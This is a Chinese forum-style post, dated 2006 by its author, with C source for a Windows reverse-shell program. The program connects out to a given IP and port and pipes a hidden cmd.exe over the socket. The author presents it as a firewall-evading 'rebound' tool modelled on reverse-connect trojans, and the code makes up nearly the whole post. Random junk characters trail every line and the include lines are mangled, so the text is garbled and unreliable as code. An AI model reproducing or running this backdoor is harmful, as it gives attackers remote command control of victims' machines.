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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]xMZo){[|  
\wsVO"/  
/* ============================== )W p7e51  
Rebound port in Windows NT ;22?-F^  
By wind,2006/7 Qs za,09  
===============================*/ RV_I&HD!  
#include K mH))LIv  
#include 9xz@2b@  
*cCx]C.~  
#pragma comment(lib,"wsock32.lib") AVw oOv J  
i 0/QfB%O  
void OutputShell(); b way+lh  
SOCKET sClient; @@U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >AX_"Q~  
ZCj1Cz]"l<  
void main(int argc,char **argv) SyI~iW#Y1  
{ Qt {){uE  
WSADATA stWsaData; iTq&h=(n  
int nRet; tt2 S.j  
SOCKADDR_IN stSaiClient,stSaiServer; oF>`>  
Z81;Y=(  
if(argc != 3) 9/e>%1.  
{  c`\/]  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]tT=jN&(  
return; y[85eM  
} qQ^CSn98J  
=|aZNHqH  
WSAStartup(MAKEWORD(2,2),&stWsaData); `<d.I%}  
G^nG^HTo5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^gx~{9`RR  
xBc|rqge  
stSaiClient.sin_family = AF_INET; -O?HfQ  
stSaiClient.sin_port = htons(0); n/(}|xYU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N8At N\e  
IMbF]6%p(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5o 5DG  
{ =cS5f#0  
printf("Bind Socket Failed!\n"); JD0s0>q_  
return;  %V ]v,  
} h M7 SGEV  
9#P~cW?  
stSaiServer.sin_family = AF_INET; y7:f^4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K/Yeh<_&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ejyx[CF  
y[.lfW?)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EGqu-WBS  
{ z-kv{y*Hu  
printf("Connect Error!"); s<#BxN  
return; h7fytO  
} |3E|VGm~  
OutputShell(); N}%AUm/L  
} , ~38IIS>_  
7L&,Na  
void OutputShell() ~<<32t'S:  
{ R[jFB 7dd  
char szBuff[1024]; :Bt,.uN C  
SECURITY_ATTRIBUTES stSecurityAttributes; W[DoQ @q  
OSVERSIONINFO stOsversionInfo; eL"'-d+]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~A5NseWCK  
STARTUPINFO stStartupInfo; 1G12FV>M  
char *szShell; @fmp2!?6  
PROCESS_INFORMATION stProcessInformation; i0wBZ i?  
unsigned long lBytesRead; lJ=EP.T  
/cx'(AT  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !y~nsy:&7x  
* bYU=RS  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2>^(&95M  
stSecurityAttributes.lpSecurityDescriptor = 0; ]5QXiF8`  
stSecurityAttributes.bInheritHandle = TRUE; ^_\m@   
KG(FA  
VT4 >6u}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E"p _!!1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \.iejB  
p<'pqf  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~= c 5q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -f ~1Id  
stStartupInfo.wShowWindow = SW_HIDE; "#gKI/[qxq  
stStartupInfo.hStdInput = hReadPipe; QnBWZUI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &F :.V$  
ob/<;SrU<  
GetVersionEx(&stOsversionInfo); B.od{@I(Xp  
mD% qDKI  
switch(stOsversionInfo.dwPlatformId) C.#Ha-@uz  
{ 3]9wfT%d  
case 1: Hpz1Iy @  
szShell = "command.com"; ZG1TR F "  
break; ^pu8\K;~  
default: ~Azj Y8  
szShell = "cmd.exe"; ^ op0" #B  
break; q:M'|5P  
} D`[@7$t  
nM &a2Z,T  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e<=Nd,v4;  
g|| q 3  
send(sClient,szMsg,77,0); cE`qfz  
while(1) YKU|D32  
{ $-pijBiz_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x 2&5zp  
if(lBytesRead) +924_,zF  
{ "2-D[rYZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MtPdpm6\  
send(sClient,szBuff,lBytesRead,0); l x5.50mI  
} { g[kn^|  
else ndDF(qHr  
{ "AXgT[ O  
lBytesRead=recv(sClient,szBuff,1024,0); G#`  
if(lBytesRead<=0) break; fW=<bf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >)NS U  
} cy? #LS  
} =2( 52#pT  
q'y< UyT6  
return; J9tV|0  
}
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